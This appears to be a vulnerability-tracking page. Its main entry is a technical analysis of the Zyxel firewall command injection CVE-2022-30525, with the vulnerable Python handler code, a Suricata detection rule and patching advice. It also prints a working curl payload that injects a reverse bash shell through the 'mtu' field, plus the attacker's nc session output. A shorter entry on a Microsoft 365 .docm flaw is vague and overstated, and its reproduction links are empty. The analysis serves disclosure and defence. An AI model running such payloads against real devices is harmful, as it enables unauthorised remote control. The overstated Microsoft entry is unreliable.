Activity Feed

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Technical Analysis

CVE-2022-29110

Description:

The Microsoft 365 version 2204-Build-15128.20178 is vulnerable to RCE.
The malicious attacker can share a malicious .docm file in some of the internal or external networks by using an FTP malicious server and he can infect all computers in this network. The infected user can visit a very dangerous website and when he clicks it he can execute a bunch of javascript malicious codes or can execute a dangerous local code! Also, the malicious author can use a USB flash memory to infect every computer by using Microsoft 365 software.

Known Affected Software

Vendor 	Product 	Version
Microsoft 	Microsoft_Excel	2016 (32-bit edition)
Microsoft 	Microsoft_Excel	2016 (64-bit edition)
Microsoft 	Microsoft_Excel	2013 RT Service Pack 1
Microsoft 	Microsoft_Excel	2013 Service Pack 1 (32-bit editions)
Microsoft 	Microsoft_Excel	2013 Service Pack 1 (64-bit editions)
Microsoft 	Microsoft_Office_Web_Apps	Server 2013 Service Pack 1

Reproduce:

href

Proof and Exploit

href

Indicated source as
Indicated source as
1
Ratings
  • Attacker Value
    Low
  • Exploitability
    Medium
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.

Technical Analysis

On Apri 28, 2022, Zyxel published firmware that fixed CVE-2022-30525. The vulnerability, discovered by Rapid7, was an unauthenticated and remote command injection vulnerability affecting some Zyxel firewalls’ administrative web interface. An attacker that exploits this vulnerability achieves remote command execution as nobody. The vulnerability scores CVSSv3 9.8.

The following table contains the affected models and firmware versions.

Affected Model Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1

On May 12, 2022, Rapid7 published an advisory and Metasploit module for this vulnerability. Observations from Shodan indicate that a noticeable amount of users have already upgraded their firewalls. However, we still anticipate some amount of exploitation in the wild.

Analysis

The vulnerability stems from the use of os.system with attacker-provided data. The attack is initiated through the /ztp/cgi-bin/handler endpoint. handler is a Python script that handles a wide variety of commands. Our test Zyxel USG FLEX 100 using firmware version 5.21 uses a handler.py with the following supported commands (as written in handler.py):

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

These commands offer, by design, a variety of interesting options for an unauthenticated user. The command that is vulnerable to CVE-2022-30525 is getWanPortSt.

elif req["command"] == "getWanPortSt":
    reply = lib_wan_setting.getWanPortSt()  

Above, we can see that getWanPortSt calls into lib_wan_setting.getWanPortSt. This is implemented in lib_wan_setting.py.

'''
***************************************************************************
* setwanport function
* @param port: port for setting
* @param vlanid: vlan id , 0 for default disalbing vlan
* @param proto: type of wan (dhcp, static, pppoe)
* @param data: detail setting for different port type
*
* @return reply{
*               "code": <exception error code>,
*               "message": <exception>,
*               "result": {'ZTPurl':"xx"}
*          }
***************************************************************************
'''
def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
…

The getWanPortSt command requires four parameters: vlanid, proto, data, and vlan_tagged. Additionally, it accepts an mtu parameter. Both data and mtu can be exploited for command injection. data actually holds an additional JSON blob, so it’s easier to just exploit mtu.

Eventually, after some amount of validation, all of the provided parameters are combined into a single command and executed.

    cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
        + ' ' + data['auth_type'] \
        + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
        + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
    if vlan_tagged == '1':
        cmdLine += ' ' + vlanid
    cmdLine += ' >/dev/null 2>&1'
    
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
    fout.write("1");

response = os.system(cmdLine) 
logging.info(response)

A proof-of-concept reverse bash shell using curl looks as follows. Note that the command is inserted into the mtu field.

curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;\";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler

On the attacker machine, this can be caught using nc:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 41498
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id     
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ ps faux
ps faux

And from the shell we can observe how the attack looks from the perspective of ps faux:

nobody   13184  0.0  0.2  20952  5072 ?        S    May09   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody     640  9.3  0.6  18104 11224 ?        S    08:58   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody     641  0.0  0.0   3568  1508 ?        S    08:58   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1
nobody     643  0.0  0.0   3716  1760 ?        S    08:58   0:00  |           \_ bash -i

Indicators of Compromise

Unfortunately, the firewalls’ logging does not provide any useful insight into exploitation. The affected firewalls do support a diagnostic feature, but it isn’t something that would be wise to run in production. If possible, we suggest monitoring the systems ingress and egress for abnormal behavior. The following Suricata rule should help identify exploitation when the mtu field is used for exploitation:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

Recommendations

Update affected firewalls as soon as possible. The affected firewalls all support automatic updates, but that feature needs to be enabled. We recommend enabling automatic updates immediately. Finally, in an ideal world, the management web interface wouldn’t be exposed to the internet. If possible, disable WAN access. If that isn’t possible, try to enforce a strict IP allow list.